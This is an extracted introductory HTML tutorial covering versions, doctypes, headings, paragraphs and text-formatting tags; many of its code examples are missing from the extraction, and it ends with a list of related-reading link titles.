Section 5.3: Abbreviation 8

Section 5.4: Inserted, Deleted, or Stricken 8

Section 5.5: Superscript and Subscript 8

 

Chapter 1: Getting started with HTML

Version Specification Release Date

1.0 N/A 1994-01-01

2.0 RFC 1866

1995-11-24

3.2 W3C: HTML 3.2 Specification

1997-01-14

4.0 W3C: HTML 4.0 Specification

1998-04-24

4.01 W3C: HTML 4.01 Specification

1999-12-24

5 WHATWG: HTML Living Standard

2014-10-28

5.1 W3C: HTML 5.1 Specification

2016-11-01

Section 1.1: Hello World

Introduction

HTML (Hypertext Markup Language) uses a markup system composed of elements which represent specific content. Markup means that with HTML you declare what is presented to a viewer, not how it is presented. Visual representations are defined by Cascading Style Sheets (CSS) and realized by browsers. Still existing elements that allow for such, like e.g. font, "are entirely obsolete, and must not be used by authors"[1].

HTML is sometimes called a programming language but it has no logic, so is a markup language. HTML tags provide semantic meaning and machine-readability to the content in the page.

An element usually consists of an opening tag (<element_name>), a closing tag (</element_name>), which contain the element's name surrounded by angle brackets, and the content in between:

<element_name>...content...</element_name>

There are some HTML elements that don't have a closing tag or any contents. These are called void elements. Void elements include <img>, <meta>, <link> and <input>.

Element names can be thought of as descriptive keywords for the content they contain, such as video, audio, table, footer.

A HTML page may consist of potentially hundreds of elements which are then read by a web browser, interpreted and rendered into human readable or audible content on the screen.

For this document it is important to note the difference between elements and tags:

Elements: video, audio, table, footer

Tags: <video>, <audio>, <table>, <footer>, </html>, </body>

Element insight

Let's break down a tag...

The <p> tag represents a common paragraph.

Elements commonly have an opening tag and a closing tag. The opening tag contains the element's name in angle brackets (<p>). The closing tag is identical to the opening tag with the addition of a forward slash (/) between the opening bracket and the element's name (</p>).

Content can then go between these two tags: <p>This is a simple paragraph.</p>.

 

Creating a simple page

The following HTML example creates a simple "Hello World" web page.

HTML files can be created using any text editor. The files must be saved with a .html or .htm[2] extension in order to be recognized as HTML files.

Once created, this file can be opened in any web browser.

Simple page break down

These are the tags used in the example:

Tag Meaning

<!DOCTYPE> Defines the HTML version used in the document. In this case it is HTML5.

See the doctypes topic for more information.

Opens the page. No markup should come after the closing tag (</html>). The lang attribute declares

 

<html>

<head>

<meta>

 

the primary language of the page using the ISO language codes (en for English). See the Content Language topic for more information.

Opens the head section, which does not appear in the main browser window but mainly contains information about the HTML document, called metadata. It can also contain imports from external stylesheets and scripts. The closing tag is </head>.

Gives the browser some metadata about the document. The charset attribute declares the character encoding. Modern HTML documents should always use UTF-8, even though it is not a requirement. In HTML, the <meta> tag does not require a closing tag.

See the Meta topic for more information.

 

<title> The title of the page. Text written between this opening and the closing tag (</title>) will be displayed on the tab of the page or in the title bar of the browser.

<body> Opens the part of the document displayed to users, i.e. all the visible or audible content of a page. No content should be added after the closing tag </body>.

<h1> A level 1 heading for the page.

See headings for more information.

<p> Represents a common paragraph of text.

1. ↑ HTML5, 11.2 Non-conforming features

2. ↑ .htm is inherited from the legacy DOS three character file extension limit.

 

Chapter 2: Doctypes

Doctypes - short for 'document type' - help browsers to understand the version of HTML the document is written in for better interpretability. Doctype declarations are not HTML tags and belong at the very top of a document. This topic explains the structure and declaration of various doctypes in HTML.

Section 2.1: Adding the Doctype

The <!DOCTYPE> declaration should always be included at the top of the HTML document, before the <html> tag.

Version ≥ 5

See HTML 5 Doctype for details on the HTML 5 Doctype.

Section 2.2: HTML 5 Doctype

HTML5 is not based on SGML (Standard Generalized Markup Language), and therefore does not require a reference to a DTD (Document Type Definition).

HTML 5 Doctype declaration:

Case Insensitivity

Per the W3.org HTML 5 DOCTYPE Spec:

A DOCTYPE must consist of the following components, in this order:

1. A string that is an ASCII case-insensitive match for the string "<!DOCTYPE".

therefore the following DOCTYPEs are also valid:

This SO article discusses the topic extensively: Uppercase or lowercase doctype?

 

Chapter 3: Headings

HTML provides not only plain paragraph tags, but six separate header tags to indicate headings of various sizes and thicknesses. Enumerated as heading 1 through heading 6, heading 1 has the largest and thickest text while heading 6 is the smallest and thinnest, down to the paragraph level. This topic details proper usage of these tags.

Section 3.1: Using Headings

Headings can be used to describe the topic they precede and they are defined with the <h1> to <h6> tags. Headings support all the global attributes.

<h1> defines the most important heading.

<h6> defines the least important heading.

Defining a heading:

Correct structure matters

Search engines and other user agents usually index page content based on heading elements, for example to create a table of contents, so using the correct structure for headings is important.

In general, an article should have one h1 element for the main title followed by h2 subtitles – going down a layer if necessary. If there are h1 elements on a higher level they shoudn't be used to describe any lower level content.

Example document (extra intendation to illustrate hierarchy):

 

Chapter 4: Paragraphs

Column Column

<p> Defines a paragraph

<br> Inserts a single line break

<pre> Defines pre-formatted text

Paragraphs are the most basic HTML element. This topic explains and demonstrates the usage of the paragraph element in HTML.

Section 4.1: HTML Paragraphs

The HTML <p> element defines a paragraph:

Display-

You cannot be sure how HTML will be displayed.

Large or small screens, and resized windows will create different results.

With HTML, you cannot change the output by adding extra spaces or extra lines in your HTML code. The browser will remove any extra spaces and extra lines when the page is displayed:

 

Chapter 5: Text Formatting

While most HTML tags are used to create elements, HTML also provides in-text formatting tags to apply specific text-related styles to portions of text. This topic includes examples of HTML text formatting such as highlighting, bolding, underlining, subscript, and stricken text

Section 5.1: Highlighting

The <mark> element is new in HTML5 and is used to mark or highlight text in a document "due to its relevance in another context".1

The most common example would be in the results of a search were the user has entered a search query and results are shown highlighting the desired query.

Output:

A common standard formatting is black text on a yellow background, but this can be changed with CSS.

Section 5.2: Bold, Italic, and Underline

Bold Text

To bold text, use the <strong> or <b> tags:

or

What's the difference? Semantics. <strong> is used to indicate that the text is fundamentally or semantically important to the surrounding text, while <b> indicates no such importance and simply represents text that should be bolded.

If you were to use <b> a text-to-speech program would not say the word(s) any differently than any of the other words around it - you are simply drawing attention to them without adding any additional importance. By using

<strong>, though, the same program would want to speak those word(s) with a different tone of voice to convey that the text is important in some way.

Italic Text

To italicize text, use the <em> or <i> tags:

 

or

What's the difference? Semantics. <em> is used to indicate that the text should have extra emphasis that should be stressed, while <i> simply represents text which should be set off from the normal text around it.

For example, if you wanted to stress the action inside a sentence, one might do so by emphasizing it in italics via

<em>: "Would you just submit the edit already?"

But if you were identifying a book or newspaper that you would normally italicize stylistically, you would simply use

<i>: "I was forced to read Romeo and Juliet in high school.

Underlined Text

While the <u> element itself was deprecated in HTMl 4, it was reintroduced with alternate semantic meaning in HTML 5 - to represent an unarticulated, non-textual annotation. You might use such a rendering to indicate misspelled text on the page, or for a Chinese proper name mark.

Section 5.3: Abbreviation

To mark some expression as an abbreviation, use <abbr> tag:

If present, the title attribute is used to present the full description of such abbreviation.

Section 5.4: Inserted, Deleted, or Stricken

To mark text as inserted, use the <ins> tag:

To mark text as deleted, use the <del> tag:

To strike through text, use the <s> tag:

Section 5.5: Superscript and Subscript

To offset text either upward or downward you can use the tags <sup> and <sub>. To create superscript:

 

To create subscript:

 

@EVERYTHINGNT

Continue reading

• Hacking Health
• Hacking Tutorials
• Tecnicas De Ingenieria Social
• Hacking Etico Que Es
• Hardware Hacking Tools
• Mundo Hacker
• Growth Hacking Marketing
• Linux Hacking
• Machine Learning Hacking
• Travel Hacking
• Growth Hacking
• Hacking Pdf
• Como Convertirse En Hacker
• Significado Hacker
• Tecnicas De Hacking
• Hacking For Dummies